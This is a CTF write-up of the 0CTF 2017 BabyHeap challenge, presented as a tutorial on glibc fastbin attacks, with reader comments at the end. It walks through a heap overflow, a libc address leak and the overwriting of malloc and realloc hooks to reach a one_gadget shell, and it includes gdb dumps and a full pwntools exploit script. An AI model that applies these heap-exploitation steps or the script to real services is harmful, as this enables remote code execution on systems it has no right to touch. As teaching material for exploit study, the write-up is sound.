Introduction
This PWN challenge is given on 0CTF 2017 Qualification. As part of my tutorial, I take it as an example for explaining fastbin attack.
Vulnerability Analysis
There is an heap overflow vulnerability in the FILL function. This vulnerability enables attacker to overwrite arbitrary bytes after the victim chunk
Exploit Plan
Info Leak: From my perspective, the hard point of this challenge is how to leak the base address of libc. Since this challenge uses calloc to allocate new memory, we cannot read the FD or BK pointer left in memory if the allocated chunk belongs to small size.
The trick I use in my exploit is to free two chunks of fastbin size. Use heap overflow to overwrite the least significant bit of the first chunk in fast bin, making it point to an crafted fast bin and overlap on a smallbin chunk.
Memory layout before heap overflow
//List memory layout 0x120f732f1030: 0x0000000000000000 0x0000000000000000 0x120f732f1040: 0x0000000000000000 0x0000000000000001 0x120f732f1050: 0x0000000000000020 0x00007fa8b36e7040 0x120f732f1060: 0x0000000000000000 0x0000000000000000 0x120f732f1070: 0x0000000000000000 0x0000000000000001 0x120f732f1080: 0x0000000000000020 0x00007fa8b36e70a0 0x120f732f1090: 0x0000000000000001 0x0000000000000080 0x120f732f10a0: 0x00007fa8b36e70d0 0x0000000000000001 0x120f732f10b0: 0x0000000000000020 0x00007fa8b36e7160 0x120f732f10c0: 0x0000000000000000 0x0000000000000000 //heap memory layout 0x7fa8b36e7000: 0x0000000000000000 0x0000000000000031 0x7fa8b36e7010: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7020: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7030: 0x0000000000000000 0x0000000000000031 0x7fa8b36e7040: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7050: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7060: 0x0000000000000000 0x0000000000000031 0x7fa8b36e7070: 0x00007fa8b36e7000 0x0000000000000000 0x7fa8b36e7080: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7090: 0x0000000000000000 0x0000000000000031 0x7fa8b36e70a0: 0x0000000000000000 0x0000000000000000 0x7fa8b36e70b0: 0x0000000000000000 0x0000000000000000 0x7fa8b36e70c0: 0x0000000000000000 0x0000000000000091 0x7fa8b36e70d0: 0x0000000000000000 0x0000000000000000 0x7fa8b36e70e0: 0x0000000000000000 0x0000000000000000 0x7fa8b36e70f0: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7100: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7110: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7120: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7130: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7140: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7150: 0x0000000000000000 0x0000000000000031 0x7fa8b36e7160: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7170: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7180: 0x0000000000000000 0x0000000000020e81
Memory layout after heap overflow and memory preparation
//list memory layout 0x120f732f1030: 0x0000000000000000 0x0000000000000000 0x120f732f1040: 0x0000000000000000 0x0000000000000001 0x120f732f1050: 0x0000000000000020 0x00007fa8b36e7040 0x120f732f1060: 0x0000000000000000 0x0000000000000000 0x120f732f1070: 0x0000000000000000 0x0000000000000001 0x120f732f1080: 0x0000000000000020 0x00007fa8b36e70a0 0x120f732f1090: 0x0000000000000001 0x0000000000000080 0x120f732f10a0: 0x00007fa8b36e70d0 0x0000000000000001 0x120f732f10b0: 0x0000000000000020 0x00007fa8b36e7160 0x120f732f10c0: 0x0000000000000000 0x0000000000000000 //heap memory layout 0x7fa8b36e7000: 0x0000000000000000 0x0000000000000031 0x7fa8b36e7010: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7020: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7030: 0x0000000000000000 0x0000000000000031 0x7fa8b36e7040: 0x4141414141414141 0x4141414141414141 0x7fa8b36e7050: 0x4141414141414141 0x4141414141414141 0x7fa8b36e7060: 0x4141414141414141 0x0000000000000031 0x7fa8b36e7070:[0x00007fa8b36e70b0] 0x0000000000000000<=overwrite the LSB to '\xb0' 0x7fa8b36e7080: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7090: 0x0000000000000000 0x0000000000000031 0x7fa8b36e70a0: 0x4141414141414141 0x4141414141414141 0x7fa8b36e70b0:{0x0000000000000000==0x0000000000000031}<=crafted fastbin chunk 0x7fa8b36e70c0: 0x0000000000000000 0x0000000000000091<=smallbin chunk 0x7fa8b36e70d0: 0x4141414141414141 0x4141414141414141 0x7fa8b36e70e0: 0x0000000000000000 0x0000000000000031 0x7fa8b36e70f0: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7100: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7110: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7120: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7130: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7140: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7150: 0x0000000000000000 0x0000000000000031 0x7fa8b36e7160: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7170: 0x0000000000000000 0x0000000000000000 0x7fa8b36e7180: 0x0000000000000000 0x0000000000020e81
The flowing step is to allocate another two fastbin chunk, the second chunk will overlap on the smallbin chunk. Next, we free the smallbin chunk and use the overlapping fastbin chunk to read the FD pointer to leak the base address of libc.
Hijacking Control Flow: Since the GOT table of the binary is read-only and compiled with stack canary, I turn my attention to __malloc_hook in libc, and use the following code to hijack control flow.
void *(*hook) (size_t, const void *)= atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0));
So the basic plan is to overwrite the __malloc_hook with one gadget [1] first and then trigger malloc function to get the shell. However, on my local machine the stack layout cannot satisfy the constraint of one gadget.
0x0000414141414141 in ?? () // stack memory layout at point of hijacking control flow (gdb) x/20gx $rsp 0x7fff97c18178: 0x00007f1ca040ebbe 0x0000000000000000 0x7fff97c18188: 0x0000000000000000 0x00007fff97c181d0 0x7fff97c18198: 0x00007f1ca0962a40 0x00007fff97c182d0 0x7fff97c181a8: 0x00007f1ca0962dd1 0x0000000000000000 0x7fff97c181b8: 0x0000179074099c90 0x0000009000000007 0x7fff97c181c8: 0xc603c516e5c01700 0x00007fff97c181f0 0x7fff97c181d8: 0x00007f1ca096317a 0x00007fff97c182d0 0x7fff97c181e8: 0x0000179074099c90 0x0000000000000000 0x7fff97c181f8: 0x00007f1ca03b3b45 0x00007fff97c182d8 0x7fff97c18208: 0x00007fff97c182d8 0x0000000100000001 //Constraint on one gadget 0x41374 execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xd6e77 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
So my walkaround here is to overwrite __realloc_hook also, and divert the control flow to the middle of realloc function to adjust the stack layout and satisfy the constraint.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 23333); elif(DEBUG == 1): r = process("./babyheap"); elif(DEBUG == 2): r = process("./babyheap"); gdb.attach(r, '''source ./script.py'''); def halt(): while(True): log.info(r.recvline()); def alloc(size): r.recvuntil("Command: "); r.sendline("1"); r.recvuntil("Size: "); r.sendline(str(size)); def fill(index, size, content): r.recvuntil("Command: "); r.sendline("2"); r.recvuntil("Index: "); r.sendline(str(index)); r.recvuntil("Size: "); r.sendline(str(size)); r.recvuntil("Content: "); r.send(content); def free(index): r.recvuntil("Command: "); r.sendline("3"); r.recvuntil("Index: "); r.sendline(str(index)); def dump(index): r.recvuntil("Command: "); r.sendline("4"); r.recvuntil("Index: "); r.sendline(str(index)); def exploit(): alloc(0x20); alloc(0x20); alloc(0x20); alloc(0x20); alloc(0x80); alloc(0x20); free(0); free(2); fill(4, 0x20, "A"*0x10 + p64(0) + p64(0x31)); fill(1, 0x31, "A"*0x28 + p64(0x31) + "\xb0"); fill(3, 0x20, "A"*0x10 + p64(0) + p64(0x31)); alloc(0x20); alloc(0x20); fill(3, 0xc0, "A"*0x10+p64(0) + p64(0x31) + p64(0) + p64(0x91) + "A"*0x80 + p64(0) + p64(0x31)); free(4); dump(2); r.recvuntil("Content: \n"); r.recv(0x10); leak= r.recv(8); leakValue = u64(leak); log.info("leaked value: %x" % leakValue); libcBase = leakValue - 0x3a5678; log.info("libc base: %x" % libcBase); fakeAddr = libcBase + 0x3a55ed; alloc(0x60); free(4); fill(2, 0x18, p64(0)+p64(0x71) + p64(fakeAddr)); alloc(0x60); alloc(0x60); fill(6, 0x13+8, "A"*0xb + p64(libcBase + 0xd6e77) + p64(libcBase + 0x7c692)); alloc(0x90); r.interactive(); exploit();
Conclusion
This challenge is very interesting and requires solid understanding on how fastbin works in libc.
From the discussion session on [2], there seems to be an interesting trick to locate the address when the symbol info of main_arena is missing. So I take a try in this challenge and the trick works as shown below.
0x0000414141414141 in ?? () (gdb) x/20gx &__malloc_hook 0x7f0b57e2f610 <__malloc_hook>: 0x0000414141414141 0x0000000000000000 0x7f0b57e2f620: 0x0000000000000000 0x0000000000000000 0x7f0b57e2f630: 0x0000000000000000 0x0000000000000000 0x7f0b57e2f640: 0x0000000000000000 0x0000000000000000 0x7f0b57e2f650: 0x0b57b073a0000000 0x0000000000000000 0x7f0b57e2f660: 0x0000000000000000 0x0000000000000000 0x7f0b57e2f670: 0x0000000000000000 0x00007f0b5a00e180 0x7f0b57e2f680: 0x00007f0b5a00e130 0x00007f0b5a00e130 0x7f0b57e2f690: 0x00007f0b5a00e130 0x00007f0b57e2f688 0x7f0b57e2f6a0: 0x00007f0b57e2f688 0x00007f0b57e2f698 (gdb) x/20gx &main_arena No symbol "main_arena" in current context.
Reference
[1] https://github.com/david942j/one_gadget
[2] uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
[…] reason why I overwrite both __realloc_hook and __alloc_hook is similar to what we do in 0CTF 2017 BabyHeap. The stack layout can fit the constraint on one gadget as shown […]
LikeLiked by 1 person
[…] unsorted bin attack, we gain a write-something-anywhere primitive. In 0CTF 2017 Babyheap, we used unsorted bin attack to corrupt the global_max_fast and used fastbin attack to hijack […]
LikeLiked by 1 person
Hello, Mr Charles Wang. Really glad to find your blog. On my machine stack layout cannot satisfy one gadget too. Does that mean task’s server machine satisfy one gadget constraint during competition ? I read many writeups of this challenge. But they solved using one gadget regardless of rsp + 0x30 constraint. I’m really confused about that. Second, didn’t understand [fakeAddr = libcBase + 0x3a55ed]
I searched this offset through glibc they given. readelf -s libc.so.6_b86ec517ee44b2d6c03096e0518c72a1 | grep 3a55. But didn’t see any result.
LikeLike
Hi, Thank you for reading my post carefully. I think value at 0x3a55ed is not that important. The important value for this challenge is __realloc_hook at 0x3a5608 and __malloc_hook at 0x3a5610. At present, I cannot remember the details of the attack, but it seems to be a fastbin corruption attack. 0x3a55ed is used for allocating a chunk covering both __realloc_hook and __malloc_hook.
As noted in my post, there is a trick here. Overwriting __malloc_hook is impossible under the constraint of magic gadget. So I overwrite __malloc_hook to jump into the middle function realloc (0x7c692 in the script). This step is for adjusting the stack layout to satisfy the constraint. Then overwrite __realloc_hook to jump to the magic gadget.
Hope that could explain your puzzle better.
LikeLike